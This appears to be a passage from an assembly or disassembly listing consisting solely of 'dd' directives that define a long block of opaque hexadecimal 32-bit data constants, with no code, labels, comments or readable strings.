		dd 6CF3CBB4h, 5D850401h, 3FFF056Fh, 724D401h, 5C64BE16h
		dd 82AE162Ah, 0F060E6D2h, 13EFB99Ch, 747D124h, 0F45519F4h
		dd 0BCE4EC33h, 0B0268CADh, 90FA869h, 49712FCDh,	2D9C5032h
		dd 542A0415h, 36EF00DFh, 0C3E8531h, 542FB0Fh, 0C01E83A7h
		dd 1BA10084h, 8C18D888h, 772D5BC5h, 94440Ch, 0FF7B1A73h
		dd 344B8D9Ch, 0C16CC502h, 0C0FA4E29h, 9F76A387h, 6EBACC20h
		dd 0E500E888h, 0FF099A9Eh, 1D986BC3h, 22C1810h,	0DFAE086Dh
		dd 5012454h, 11460785h,	77C40E6Ah, 825649B8h, 0F2B039h
		dd 0D9FF1FEDh, 74BA73h,	36254C5Dh, 0DF5B1415h, 9216D0B3h
		dd 338878CBh, 575E51C0h, 36FF2C8Eh, 38302710h, 6130E71Ch
		dd 8D9460CAh, 0C63D12B8h, 15089076h, 5300340Ah,	27A6FD50h
		dd 4B4DED0h, 0C4F5361Ch, 7D90A08Ch, 2FD22C01h, 0FE038E54h
		dd 90733461h, 0D8EDF72Fh, 59536A62h, 88E52758h,	7B6183E4h
		dd 3863205Ah, 3BB77105h, 0C8E46552h, 0B09550B6h, 3BAD4BE3h
		dd 262348h, 0B465D2Bh, 1F053814h, 3B2A5A86h, 0B58834E8h
		dd 0FEA609C0h, 0C8B37Ah, 1454E85Ah, 0B66857AAh,	0AB0BD4ECh
		dd 0FE4C7A12h, 9FBA000Eh, 68D8D1EEh, 9900FEE2h,	0C7C3904Fh
		dd 15D9B838h, 0A45960E0h, 1D2B8E05h, 140801F9h,	7D54FBD2h
		dd 746B967Ch, 0FAF15D01h, 790A4EB3h, 0FBCB0160h, 42A30EC8h
		dd 4A9E6130h, 5BB4B339h, 0EE220C8h, 270D033Ch, 42447F20h
		dd 1F01697Ah, 43C584DFh, 99C183C1h, 0D82A96D1h,	6B0990ACh
		dd 17F3E908h, 80C89124h, 49ECE3CDh, 9D837D4Ah, 579E0801h
		dd 0EC886C1Eh, 0E20B8C84h, 0E06AD3B3h, 11054Ch,	703EFBC9h
		dd 0E76E6042h, 0B0A3AB4Ah, 3553CC0Ah, 0F0208384h, 8EC017A1h
		dd 0A91E856Fh, 468B8405h, 28B0845Bh, 17F9F240h,	400C4FDh
		dd 34B96E0Ah, 4749ADh, 0DD08B7CDh, 4294373Eh, 0BD7FDB0Ah
		dd 81007C12h, 0F65C85DCh, 7CB07E44h, 59692587h,	0A1598073h
		dd 4225F419h, 0F4B15A09h, 269C5BB5h, 0A465C18h,	998BAC02h
		dd 9070D1B9h, 0B2155905h, 34B84783h, 4E5422Eh, 0D8315AABh
		dd 0B7B5F85Ch, 66770040h, 0B8D55056h, 3F91601Fh, 0FA499240h
		dd 385F6746h, 5184FB3Eh, 0ACAA5D59h, 75F90464h,	149B17DBh
		dd 0C197B2C1h, 0D2EC3DD7h, 2723E42Eh, 326CE500h, 4CE29733h
		dd 8BC08C52h, 3C10A9D8h, 0C477932Eh, 0EB6F2B43h, 0CC728873h
		dd 8FD600F8h, 65E1AC0Fh, 3DE6B8FDh, 0BC9EB128h,	416D10A1h
		dd 73C7F3BCh, 31C8E298h, 25CC608Ch, 0C94AC403h,	97EFA6E7h
		dd 25F9B946h, 0E0468862h, 8253B516h, 0BCF2ECC5h, 2E8A7005h
		dd 77FB095Fh, 0C10010D2h, 6FC367DBh, 3F13C6CDh,	0DF80E688h
		dd 0ADC0D6FBh, 5F5BAA63h, 35272C90h, 12291E4Fh,	0FE0830CCh
		dd 0FC4C81CEh, 0A610994h, 625C5485h, 7C441B58h,	96B1E014h
		dd 0CCBA4D8h, 0B2C33388h, 678288D6h, 243A1357h,	30842753h
		dd 7B745515h, 20F68F00h, 3A435E2Bh, 0CE7E0960h,	0AC35B427h
		dd 1D813F91h, 0DC5F042Ch, 24166956h, 78021C4Eh,	0F2872E2Bh
		dd 0C03134Ch, 0E30B044h, 0BC206741h, 3B294B45h,	12B23ACh
		dd 0B1B2C057h, 776DF412h, 0F1CC3B04h, 5CED8B10h, 0C7BA0F7Eh
		dd 134BAE09h, 0B0469490h, 108A5300h, 1DFEBCD4h,	879700E1h
		dd 54B57E1Fh, 97B733FCh, 81B09164h, 5E9031F0h, 68658C7Ch
		dd 2FC032Eh, 0A389813Fh, 9305DC8Ah, 0D1DC2805h,	0DC82F268h
		dd 0AE142320h, 2E825100h, 0F26BCE8Dh, 0C4550078h, 4B83483Eh
		dd 0DFB83721h, 253AF671h, 97051403h, 8C20BCA0h,	0D4973700h
		dd 0C9EA9687h, 0D98B04FDh, 0A20995C4h, 0A284432Ch, 6DE630C6h
		dd 0D6641D03h, 0E6531049h, 0F05B3B99h, 59FD5A01h, 601CDB9Eh
		dd 7D27D110h, 2F14EB03h, 1817F649h, 409CB711h, 0FAE05CCFh
		dd 8BB5D22Ah, 584470ECh, 4D24C457h, 0B1990990h,	2D3568E6h
		dd 880195Bh, 4A77B784h,	4318F00Fh, 0D6590812h, 0FF756400h
		dd 60EA5655h, 0CE1FB82Fh, 0FB084522h, 382A33h, 18176C64h
		dd 0A09DB411h, 4DBA9D90h, 0C0CA5028h, 16A49084h, 0F430CCD9h
		dd 3F2567ECh, 0C1B8AB68h
		dd 0D20B04h, 0E9C2AD17h, 2809CC7Eh, 5C1C7BD0h, 0D90905A8h
		dd 23D02FF3h, 0C9E400C5h, 9ACD0706h, 2777F01h, 3BB7C6F8h
		dd 15E4434h, 5F853990h,	747A5657h, 124FA860h, 0EC720C40h
		dd 0AA9F74h, 5D980AF1h,	76E847F8h, 1840554h, 93D06D1Ch
		dd 0B81CEEC0h, 78B290h,	6281EDE0h, 4BCF82DFh, 0D090009Ah
		dd 0B3B48A54h, 0A7D5650Eh, 5B838593h, 7B474F0h,	0BC11CA50h
		dd 99EC302Eh, 0FC0FD19Ch, 0E426EB19h, 3CE8D38Bh, 0B31F8200h
		dd 570FA495h, 40909CE8h, 1B47CB16h, 0B788888Eh,	9B6D60CFh
		dd 0C0DA128Ah, 8EC07F19h, 0F3024595h, 86595263h, 11A85023h
		dd 139F10C3h, 0B88BFE68h, 22C084C8h, 0F666BE23h, 0D51122C8h
		dd 5BD29C00h, 21C3EA99h, 267E079h, 5DFB8F12h, 687E7DDAh
		dd 59321DEh, 0D4C91C08h, 7B232084h, 95230BDBh, 22916C17h
		dd 0E2C17080h, 5A00B88Bh, 622560D5h, 0B4ABD667h, 6ECB4318h
		dd 0C4106C00h, 0E53087E0h, 0AD01024Ah, 590411A3h, 0BF521CF8h
		dd 1DDB05C8h, 50FDF3BAh, 0D6023BACh, 77BB91B8h,	277401C9h
		dd 5CCF2A08h, 6C0A188h,	95DF68Ch, 0D959CFA6h, 3E252C7Ah
		dd 64C8E734h, 6958600Ah, 90C8EA8Ah, 0EE7C2E5Bh,	0C75A1258h
		dd 0F86989E8h, 0F4822BE1h, 588420D4h, 3807487Ah, 8D595C71h
		dd 0F462AD22h, 90290098h, 0F6FABD6Ch, 0B079A491h, 0C498A818h
		dd 94381F24h, 0CC7FD600h, 0B904FC4h, 99E784BEh,	6C7C1042h
		dd 0B29C7640h, 0D88E0044h, 0B9E8DCD1h, 0D53F351Ch, 2ACD0037h
		dd 7A7E1E1Fh, 9BFC5F51h, 847DC37Ch, 70CC9C80h, 0B9FA00BAh
		dd 0CFF18F5Eh, 9500690Dh, 9CF04D85h, 91F6FDC8h,	18B77920h
		dd 38E16E6h, 3DD8F2A7h,	0A83787B9h, 14E0DEE3h, 5434BEh
		dd 62930A6Ah, 0D68BEE21h, 3778C414h, 7D922B8h, 7A15DF34h
		dd 0F972E0BBh, 0B228E5F3h, 0A8001017h, 0A77D7746h, 5D190Eh
		dd 5948E86Fh, 85CF9032h, 6CB7D64Bh, 0CC302BE0h,	0CB29DB01h
		dd 0E3069C1Dh, 97F68020h, 8780C035h, 5528753Bh,	1C54046Dh
		dd 1D3D5ECEh, 4D10D0ECh, 0A7104C58h, 0C8230034h, 82F2F9BEh
		dd 44472CEFh, 261F0424h, 203CA0F6h, 40BE95F4h, 72E465Ch
		dd 785992E9h, 695B7E82h, 2E2BF76Ch, 0AC232Ch, 73559749h
		dd 0B8287766h, 35EA010h, 7FAFB447h, 0C04445E2h,	3C7607Ch
		dd 8B0E3B85h, 792D02CBh, 0BF088195h, 1874749Dh,	0B1296053h
		dd 7B629AD3h, 0D54CA501h, 0B7220E90h, 90334FCh,	0B549EF85h
		dd 216404C7h, 9FDA0067h, 0B617E1E0h, 0A840EA23h, 0C1DD8BF5h
		dd 0D398C01Eh, 45839874h, 808FF9CFh, 0A7EA3C21h, 71CE2CCFh
		dd 82C037C4h, 0F0F6FA80h, 1D6C4676h, 7F454FCBh,	7C079B4h
		dd 27D335C7h, 0E0003096h, 40E08E6Dh, 0BB533D13h, 902B7040h
		dd 0E87DD014h, 4A10984Bh, 23303EC2h, 4F8300C3h,	68F349B9h
		dd 1110350Ah, 3CA428EDh, 9AA465Ch, 80FADACCh, 0D7177584h
		dd 0B13A1EF1h, 5024655Ah, 0E078F664h, 9531B9BDh, 0ACC8F86Bh
		dd 2300A76Fh, 0BB4FD649h, 96793243h, 20709D0h, 8C3CCCDCh
		dd 480920A1h, 0A013B710h, 748A8BF9h, 0EE00552Ch, 0D616D4AEh
		dd 1AA689B6h, 409CE61Fh, 416CB803h, 0CB10802Eh,	40A7C422h
		dd 66632C44h, 0E7327187h, 254C2851h, 89EC11FBh,	0A86B6Bh
		dd 0BD7A2F1Ch, 1A5CF978h, 602509ECh, 6C7E5058h,	0F6310E60h
		dd 75DDC9Fh, 4588E83h, 0FA17A087h, 502540C2h, 0F080417Ch
		dd 0C07C812Bh, 94416F8Fh, 225ACBB3h, 6B9A7A01h,	0B8587810h
		dd 6A008C19h, 0CDA2B371h, 0B111CFC2h, 813C011Ch, 0D899B8B4h
		dd 1F008304h, 3970184Dh, 129C4B86h, 880AAB87h, 8800D21Ch
		dd 57728190h, 8A044Bh, 24F74AAAh, 52114460h, 4128CFF0h
		dd 0E009B49Bh, 68B30C4Eh, 7B3F0150h, 0A5991C5Dh, 89CCC122h
		dd 6006C910h, 2F59FE8h,	8978F6E2h, 785981B7h, 0F181679h
		dd 0CB125300h, 91DCEE7h, 3703047Fh, 0FA063BB7h,	41FD2400h
		dd 308656DDh, 7D7833D7h, 9B4AD4E2h, 0B40260C9h,	4AEA2029h
		dd 3E079D96h, 0B638525Dh, 0CBEC6A11h, 4A73D83Ch, 0DB4B0E0h
		dd 0F60A6702h, 0FCA126B3h, 0A465E98h, 0B100283Ch, 0C92448B9h
		dd 752E4D34h, 14049C86h, 0ECD4CE08h, 49F030E6h,	59029EE8h
		dd 0B7C6A7C7h, 8850D4AFh, 1FBE422Ah, 24E079E7h,	743CC1CCh
		dd 0AF001346h, 392D9BCAh, 6C929A03h, 0A6FF8800h, 0A51A429Ch
		dd 2295028Ch, 7F2A4EEBh, 5BD0D340h, 46976879h, 56591624h
		dd 0A8E04F6Ah, 4AC65C80h, 2F0C02EAh, 0A8C2A21Fh, 0EE5E1359h
		dd 2C582053h, 9E00AC4Eh, 0FA66A8B1h, 2610DF44h,	0A728D9B5h
		dd 33E484E5h, 0D567C060h, 0C42AD2Eh, 274674h, 5F07A1C0h
		dd 1FDC9B1Ch, 702A2584h, 10B964E9h, 60DE2AE9h, 0A31C3580h
		dd 7B7E21Ah, 0B577AE23h, 11CEFDC0h, 53621644h, 0E054E603h
		dd 2EB9AD8h, 9034D752h,	5E202DE7h, 1B181CDh, 1C7F01C4h
		dd 0D153B907h, 7FC9F5C6h, 6B415040h, 9576E738h,	4B005CE4h
		dd 7E37B8D9h, 6C83F2h, 55A91F9Eh, 3590108Ah, 0C148B4B2h
		dd 0F1BF8B04h, 0D4F8252Ch, 0F809CBF0h, 0F4A38659h, 0E74D000Ch
		dd 0FF3C9DD4h, 4676A896h, 50A10286h, 669AD5AAh,	0BAB10C8h
		dd 0B65A0905h, 0E460D0A9h, 8FE70BFBh, 94CD9543h, 46803B67h
		dd 0D76677Dh, 491DB657h, 1A4C60C8h, 0C03E4041h,	0F44129ADh
		dd 0CF8480A8h, 68BAD12Ch, 0E9E7E053h, 0E022B5BFh, 0F400925Ah
		dd 87C4D6h, 0E7BD7DFEh,	0CB993E9Eh, 0B89A64FCh,	61BF7CEEh
		dd 4C2CFCE2h, 8CC5BCh, 0B09FB474h, 9D27EFBCh, 518C3827h
		dd 156F0080h, 0CF749CD6h, 0BA6B5Ch, 1E572D76h, 1658593Dh
		dd 0E2EF08A7h, 0BBB30424h, 5AAA420Bh, 90029A3Ch, 0BCA0362Dh
		dd 0B25358C0h, 804FB32Fh, 379A8804h, 0A3A0A055h, 17902741h
		dd 82919C97h, 59D5DE80h, 163A2819h, 595BA753h, 188279ECh
		dd 910607E3h, 4973F4EEh, 65CF3902h, 0EC49D070h,	3E2B0A6Ch
		dd 0CDA5ECE8h, 0F5B9C064h, 7A05F026h, 37E0932h,	29C109Fh
		dd 35ADAA65h, 46763856h, 80013A83h, 0CBBA3F5h, 25E957Ah
		dd 20C2BCACh, 1C701A06h, 30649Fh, 0E1CC52B4h, 9BF59D44h
		dd 3AF7E5Ch, 289EBA86h,	9671CFDEh, 637031DCh, 120A2D6Ch
		dd 6DE44445h, 36D07063h, 0CB177146h, 0C0005EBAh, 75B65304h
		dd 24383BE7h, 20676900h, 743F9308h, 0E405448h, 0E17FB162h
		dd 0BE15D20Fh, 9E64B980h, 4AC424F6h, 3F5C7001h,	56328545h
		dd 152F97F1h, 97BC402Ch, 2F520300h, 0CACC9FEAh,	6DA8008Bh
		dd 14B055DCh, 7B0054F0h, 0AB27C7AAh, 0C0A9D56Ah, 6F181B91h
		dd 0B24A5657h, 9EAE78F0h, 0D2F940CCh, 0F61DDC70h, 0BA4F5623h
		dd 12FA2F9Fh, 0E0ACFCEDh, 10D93Eh, 12BC6B87h, 991D3C2Ch
		dd 0BDFD8850h, 79982B04h, 6B7AF8F1h, 48DE03C4h,	169CAE13h
		dd 0B4304AD8h, 8025505Ch, 0E7006DFCh, 0ED96805Fh, 937C7991h
		dd 78CD24Ch, 0A8546059h, 0CC14FDE0h, 7A682FD8h,	11724820h
		dd 0DD7279DFh, 0B3EA1C00h, 0A5D5717h, 0D55A1761h, 1D8F32Eh
		dd 0B7A9D404h, 0DB3BC7BAh, 92E18FC0h, 0E0008D13h, 1FAA4C8Dh
		dd 970B496h, 0BCD6F459h, 7F874674h, 9D904E27h, 801311DCh
		dd 4AB0ED52h, 12E89096h, 0E943C942h, 0B0C4BD84h, 0E10E4B2Bh
		dd 0D3C43840h, 35FA6004h, 2B5FC4F3h, 1C332350h,	9A057C07h
		dd 0F61D2957h, 565906DCh, 10181A02h, 27D3A653h,	5F02014h
		dd 2F8B3F9Fh, 9C67A489h, 1E602544h, 290155A4h, 16A39AA5h
		dd 0C02D8399h, 0B40F7917h
		dd 9D7FF674h, 7A466300h, 0DDEBD8A4h, 0E118B18Eh, 0B323Bh
		dd 5999E7A6h, 9C73F8C1h, 30F125B0h, 691819D1h, 60751101h
		dd 10E6A3A2h, 0A900C422h, 568B5EC4h, 5800BEF1h,	7F964CF4h
		dd 7CC64E0Dh, 0F86A5CA0h, 723AA610h, 0FF559E12h, 2BB1C841h
		dd 98876EC2h, 0F062C9FDh, 3E2A2D04h, 0D8818F60h, 0B576CBB3h
		dd 85030480h, 0AE6189E7h, 0AA237FD8h, 186878D6h, 0D90E7E99h
		dd 0B12AB2C1h, 8125E024h, 0D95CF9BEh, 0E1E1821h, 0B3E75498h
		dd 0C9377725h, 0CCAE228h, 0FF646C7Eh, 0C8548B56h, 0A7A0CEAAh
		dd 545C9EBh, 5C117002h,	6B738E59h, 0FBB6916Ch, 0E228073Ah
		dd 87B77268h, 81504043h, 51D23C00h, 911264E8h, 10BCE9B6h
		dd 9E05972Ah, 87CFF995h, 0F8F39B64h, 4017C58h, 0B6B17048h
		dd 906EFA89h, 856AA300h, 1DF94224h, 820AC62Dh, 505CCBC8h
		dd 0A610F568h, 0AEF2DEFh, 691B7303h, 292D2377h,	350F4D6h
		dd 1E3D34CDh, 7DC4D8D0h, 92C91609h, 70B4D32Eh, 0E902B82Bh
		dd 986B5991h, 82205CB2h, 63521553h, 8E2B4920h, 2698C184h
		dd 38C4661Fh, 8C0AFC90h, 94AF44Ch, 0DBEB6807h, 0D8F97170h
		dd 1D09135Ah, 0EAC23DCFh, 0E0004DBCh, 76C52BE6h, 7D0FB5E2h
		dd 74538B29h, 8C6FAC4Ch, 0DE33A40Fh, 0F780E08Ch, 1FDB6D7Ch
		dd 89247D7Fh, 74C4F832h, 3F3B44A1h, 1F842490h, 0C459893Ah
		dd 0B513B168h, 5C855E64h, 0E3AC00EDh, 2F47F5Ch,	5578E801h
		dd 803CD617h, 9B57E9B9h, 0D1019EEEh, 946B4CF1h,	0CC3ED564h
		dd 220CE0Ch, 53B42C18h,	0AB0F043Bh, 5D4B0A9h, 82181248h
		dd 405F392Bh, 7882B5E6h, 3ADA1F35h, 0D8DD8043h,	1286CAB9h
		dd 37318F2Dh, 88E900E4h, 0B1CAE09Bh, 5D7F4A00h,	0F4A98BFAh
		dd 14E65820h, 0C8C4CE5Eh, 0C0FCC026h, 0F2000355h, 0C79CB9A3h
		dd 9DA68DFEh, 0DC99B40Bh, 2DF4772Bh, 847C8A2Dh,	91789727h
		dd 460D803Fh, 33E7A5Fh,	0C8A97199h, 0A1861F10h,	31A8019Fh
		dd 0DA6BF88Fh, 0D5BDC0E8h, 0B07B61CAh, 22D620F8h, 0A404C4E8h
		dd 0F88854E9h, 44892C9Bh, 90852D84h, 8F457414h,	0B75B4001h
		dd 24BC130Fh, 0D039A040h, 0CA9101B9h, 0F78E5779h, 4ACC2848h
		dd 5F4F8480h, 7B9C13D5h, 1084E9FFh, 0C02D2AA6h,	0C4D63409h
		dd 0A89B3BD6h, 4A25F703h, 0B881A933h, 18BC23CDh, 9D313B53h
		dd 43C700F5h, 0CB26404Dh, 0C2091F23h, 7181B6DCh, 1817791Ch
		dd 0D85F4816h, 338E5A09h, 0D6021C78h, 0E7045C01h, 1EC4F035h
		dd 0C848A57h, 6410D275h, 2D82BF3Ch, 0A3C89030h,	33F94017h
		dd 786FAB2Dh, 242A346Ch, 88748E71h, 0D392C132h,	2D91C03Dh
		dd 42AB6E0Bh, 178512Eh,	809A7DF9h, 98EAE8DEh, 299D52Dh
		dd 7F9EBF34h, 0CAE21899h, 9856A400h, 8915617Ch,	50D5AE53h
		dd 87B6D6F4h, 0DE76551Ch, 0B8269605h, 414A6CF0h, 27836C2h
		dd 0F2D365F4h, 5C386813h, 0C3AB2EB2h, 37A68AACh, 0B691B9E0h
		dd 2DF90B2Ah, 9FDC5022h, 0D6005444h, 771C747Fh,	25047EB5h
		dd 0D40091CFh, 608481B7h, 0D82E954Ah, 0A6002523h, 2A15180Ch
		dd 0C40E0035h, 60E85AA8h, 0E700F994h, 242C89Eh,	4EEC1DFFh
		dd 1234F3DEh, 18A53AF3h, 59182FF8h, 0B1BCD84Bh,	0B94524Ch
		dd 498DAE54h, 0DB2AB9C4h, 914B8710h, 1E09CE50h,	71D09EA2h
		dd 0DC220DE3h, 973117E2h, 18231F0h, 0F978496Bh,	6F9DF63Ah
		dd 36812CDEh, 0E6861CA0h, 0D32DFC65h, 6C9B50DCh, 72A471Ch
		dd 4DCA197h, 19CF102Eh,	8BB10BBBh, 0EA48780Ah, 0CC17BF48h
		dd 62802091h, 0C3194C1Eh, 1F77D502h, 0F4C7AD0Ah, 563C0594h
		dd 0F4E102h, 0B0E41BCh,	58449384h, 0E712A6DBh, 24D0B279h
		dd 84D235C2h, 78B65C74h, 1C94676h, 0A0E9D8ACh, 0B0789C21h
		dd 494C82Ch, 0E3440AA2h, 3027A288h, 6D016907h, 58CD0CFEh
		dd 0D26AAE56h, 1C02BAD8h, 0DBD205F9h, 375C87CCh, 0F161E471h
		dd 74DCC8h, 3124912Bh, 0C653B5F5h, 0F3D3DE25h, 37E67810h
		dd 3C88285Fh, 0FED0F6F0h, 0E36A15F5h, 5E0E84FDh, 0AD9F7259h
		dd 0C5E490E5h, 9B9EE660h, 0B64A3C00h, 5FCEB1F9h, 0F48B00FDh
		dd 0CBB3A4FBh, 0C8BD31F2h, 42A5B444h, 0E0B64ABBh, 35C5ADA0h
		dd 22A33209h, 20688889h, 77C7BB01h, 5C20299Bh, 1CFD21EAh
		dd 0FA370205h, 23B83AABh, 90520132h, 0EC63B362h, 7E274E09h
		dd 20F122h, 6D9427A6h, 0F7009D77h, 0A1EC6766h, 16030C2h
		dd 52E769C6h, 721DBB86h, 804E3D74h, 9F40F9D0h, 4ED53CFAh
		dd 2768409Eh, 5844BF78h, 0C6AAA017h, 0F38780ACh, 9564F0FEh
		dd 314F454Eh, 931DDC40h, 710C4ADh, 84CF5940h, 8B06A1ACh
		dd 0C76960E4h, 80E6DE3Bh, 610BBE3Fh, 0FEFE0EE1h, 0B61216E9h
		dd 8804CEBCh, 0BDE8C0C8h, 0A71CB18Ah, 9F4272D8h, 0D42652D9h
		dd 7E1F02BCh, 9D5FC84Fh, 80C691F8h, 435517C2h, 71E603F7h
		dd 0D0783B2h, 0D808507Bh, 80C07899h, 6AA9FF04h,	14C0C32h
		dd 0BF8A168Ah, 58ECF813h, 768C84E8h, 0AD32F4Eh,	30567885h
		dd 0D1C199E0h, 4D0685Ah, 4F434908h, 0F130F15Eh,	5F48224Ah
		dd 0E9D1A480h, 0C8042476h, 41F21244h, 0B61E6A2Ch, 0C0587413h
		dd 0C723600Dh, 6D39BAh,	35F03FB8h, 90D06200h, 67B62B36h
		dd 9DEC9276h, 56A4E035h, 0F21A902h, 0D782427Ch,	6DA41820h
		dd 630E0296h, 2ECFF361h, 0F6BD0023h, 4F4D68Fh, 1FF5FB30h
		dd 0F80095B6h, 8CAAE8E0h, 75202300h, 40BE18Ah, 88320E95h
		dd 386B8C1Eh, 27FF0C40h, 224280h, 1746EA5Dh, 137AC61Dh
		dd 36C019DEh, 0D1371BE0h, 0DFBE0039h, 0C69482A7h, 0AB4E6FB7h
		dd 489086h, 2E77E198h, 3D4AD3B3h, 0DCC05CA2h, 0DD051CCDh
		dd 95F23BB4h, 34B2E8A3h, 0CF158033h, 0A39D012Bh, 82DA339Eh
		dd 0C0C03BB7h, 0B0F0AF23h, 8198B4E0h, 3F21935Fh, 75D8DB62h
		dd 4B00E076h, 0F7A75677h, 0FA7A81D8h, 0F0593828h, 75C7578h
		dd 3F931B79h, 8A02A45Dh, 9CA65F84h, 136AB2A0h, 0BE00C27Eh
		dd 0EF6D3FA1h, 0A526ACBDh, 28CD2DF0h, 15EDAD40h, 7D740096h
		dd 0FB21C8BAh, 0F15FD7E8h, 0D01FE821h, 9CE8DC44h, 8C13FCh
		dd 25CEAF07h, 1CFAA32h,	37FCC350h, 0B4160CF2h, 38BDC252h
		dd 5359E10h, 14761F82h,	255E1CC0h, 0C10D24C0h, 831141D0h
		dd 70072E97h, 0CE30DA09h, 0A0ADEEA5h, 0D3C0128Ch, 18E01460h
		dd 4EE82C5Dh, 953C0673h, 9D0A814Fh, 91C7692Bh, 25F29C62h
		dd 14FD30h, 0D738D247h,	0FF8B0F6Ah, 2509300h, 1F60EC2Dh
		dd 0DCD0B43h, 3400F1AEh, 460567D3h, 0BC6CBC5Ch,	0CA0A8C84h
		dd 98C78399h, 0D9025C8Ch, 0CF9E0B0Fh, 5A0094CDh, 35A546E8h
		dd 325FE602h, 0F23782CBh, 0FE4B0058h, 486158D4h, 9CB6B8D5h
		dd 8F4A9828h, 2CDB8C16h, 0BB97BE80h, 7F04B0BCh,	6A96057Ch
		dd 2EE820ABh, 5400E79Dh, 7B4217BFh, 0A4A202h, 764C9055h
		dd 0FA14CD1Bh, 90A0595Ah, 3D1A3928h, 41117A98h,	6F01F519h
		dd 32988B45h, 0E8CCEF58h, 72440080h, 0FE887E01h, 0E65F2AFBh
		dd 0A47600F1h, 3404EAE5h, 348AB309h, 0BEC9FD05h, 3C509973h
		dd 8C2CBC40h, 8C46A92Eh, 0B5DA1F05h, 346B40CDh,	0A8F8A98Ch
		dd 207D002Bh, 93B7DBA2h, 0CF18A6C0h, 0FF60A0A9h, 0D3D4B88Dh
		dd 9E9823C8h, 3CDB714Eh, 0B6669780h, 0FF059B4Eh, 190B83B3h
		dd 12DFE888h, 9B243675h, 0A7780DCh, 2DBB41Eh, 79D7D9F9h
		dd 1064C283h, 2584DA0Eh, 0AF264191h, 6E7E5EF9h,	58E00C4h
		dd 0CD7568CCh, 971C077Eh, 33F03476h, 900B3AF1h,	0D855CF84h
		dd 2561906Ch, 0AC43478Ah
		dd 0FCC7BA92h, 4660AC44h, 5475F37Eh, 4BF87857h,	0A0C83C8Ah
		dd 559034C0h, 0B179016Ch, 5B70947Fh, 0A954606Eh, 0E42865BDh
		dd 1F3F6021h, 0B04609F7h, 882D0B5h, 1105C123h, 7B0020E9h
		dd 0E4FF7641h, 0E901588Eh, 10841668h, 0EAFCA1DEh, 0AED20531h
		dd 0E49BD56Ah, 1378C6E0h, 0E4A541C0h, 0CD5C2Eh,	0FFA3330Bh
		dd 2D931C05h, 6449D504h, 2CA28BF0h, 0C93086F2h,	6F57DA4h
		dd 0D500665h, 37B54829h, 40950E34h, 0CFAD0B21h,	6FC4652Eh
		dd 7FC0FCDBh, 0AB10BE3Ah, 0E094A94Ah, 0CF00FCF9h, 66E8C09Eh
		dd 7117B4A3h, 0B04FC3BBh, 158CA256h, 74AC5E39h,	67006C46h
		dd 0EFB6521Dh, 0F00E3CD3h, 32BAB5A7h, 0DA3D6C04h, 710258BDh
		dd 0C4905CDBh, 55002955h, 0EA00C037h, 7D3F92F4h, 0F4B0358h
		dd 1CFDE5ABh, 41BFC12Ch, 0FC81C135h, 0C03A957Dh, 0BCC975BCh
		dd 0E4E6F35Ah, 6B90E2F0h, 0A24CD000h, 9256B060h, 2B620D3h
		dd 32529C05h, 88BD1CFCh, 68DBF78Bh, 4A99BD58h, 0D9D8207Fh
		dd 8B0158A6h, 0E2838E78h, 10D8907Eh, 0B6530A49h, 2DE0A04Bh
		dd 0D50014D1h, 365AA143h, 507AA5h, 252D4FEEh, 714CA35Dh
		dd 609DC302h, 0D170F97Fh, 183279C0h, 0FF6900D9h, 0A46CC362h
		dd 6E091845h, 2482C61Ch, 10BCD02Ch, 26BBB387h, 7A16182Fh
		dd 0B8F2118Ch, 413D9DC4h, 9FAB9B2Fh, 7A6F221Ah,	0D8CF8830h
		dd 2D183C00h, 840CB06Ch, 70200F4h, 1F23B803h, 0AE1A56C9h
		dd 43902A6Dh, 0D746DA50h, 0EF84A881h, 79487459h, 0B1B6117h
		dd 0A58050A9h, 2348BC4h, 0CE7D1900h, 0D9486DFBh, 4A354CBBh
		dd 0C266B709h, 0B415C4E8h, 717CB09h, 0DE98EAFCh, 8B4F840Ch
		dd 18DCB876h, 0D6618C06h, 193E7CB9h, 390C7DD0h,	0F8A468C2h
		dd 80098CB0h, 60A65659h, 9471531Ch, 7C7900C0h, 0DE3903FFh
		dd 0D920D090h, 3AF30BD6h, 707B532Dh, 465C6CACh,	2FA01F32h
		dd 0CDDAF4C0h, 0F07E54D4h, 78E00ACEh, 8BC3386h,	8210954Ah
		dd 0BC34ACD2h, 24008C27h, 9FBF06C2h, 0BE9ED578h, 0B6C681C4h
		dd 0B89B468Bh, 1D187668h, 0E7A815D0h, 91220584h, 0FABD8052h
		dd 7038046Bh, 0C6F14E01h, 0E50C0AADh, 27068269h, 5CF77E99h
		dd 97A9D74h, 44C0EFAEh,	0FF4F82BAh, 2C184004h, 101488AEh
		dd 0E8401F5Eh, 99D1F26Ch, 49AB69B2h, 0C140DCF6h, 0DA023Dh
		dd 0CE72AAD7h, 682369B6h, 7DA6CD00h, 6D7B108Ch,	8F6000DCh
		dd 0E0DA0498h, 35BFF8ABh, 0C0999E88h, 43B1CAC2h, 589233BEh
		dd 20C0014Ah, 0BAEBBB93h, 0B33578C4h, 6F2F79A4h, 0CDEB9682h
		dd 221FE078h, 71045989h, 1A778857h, 16797CBDh, 0F0F9C54Eh
		dd 0CF25C688h, 0C2E8E165h, 0DA1C682Dh, 590CC555h, 0BC44A868h
		dd 6B098C86h, 2EE72B4h,	59CF1A4h, 8CBC5Bh, 0B1739029h
		dd 9F895C01h, 13C49CE5h, 7AE4CE60h, 24BE0207h, 0CBB06F60h
		dd 13E9C0DAh, 0E58E5A78h, 0F0C03E88h, 2FA6DF15h, 0B4ED1E6Ch
		dd 92BBC5C0h, 576C097Ch, 74FA81AEh, 0F28AF909h,	7608D69Dh
		dd 25771746h, 64A18811h, 0FACA53B1h, 51E0805Ch,	0C082B63Bh
		dd 7C91018h, 789E1B92h,	0CAE600DCh, 0C57371F2h,	9C5AD556h
		dd 5CA880D0h, 52722E59h, 0B5FF408Ch, 7402B1C7h,	0DCAB378Fh
		dd 0DC377D51h, 0DFD97F00h, 5FB65759h, 2B10F111h, 0F4B98413h
		dd 0B90182ACh, 0E1E6556Bh, 42E4E49h, 3F82668h, 2BF7D99h
		dd 0E6106931h, 0E45CF3E0h, 445C02D6h, 244CF1B8h, 8B34864h
		dd 893BA87Bh, 4CE46Dh, 0ECCC1437h, 84D1B5D6h, 0D396F527h
		dd 0A4B258E8h, 1DF2C204h, 64F82ACEh, 25B08224h,	0F43D3C58h
		dd 0C2FEA5CFh, 0E4377784h, 4751CA00h, 1419459h,	90285A91h
		dd 2EA80DE7h, 1324A84Fh, 0A8B00612h, 0C0E8ADF4h, 437DF6F4h
		dd 0E6BEB417h, 23C78804h, 9853421Eh, 0DCFED6B2h, 24A6F617h
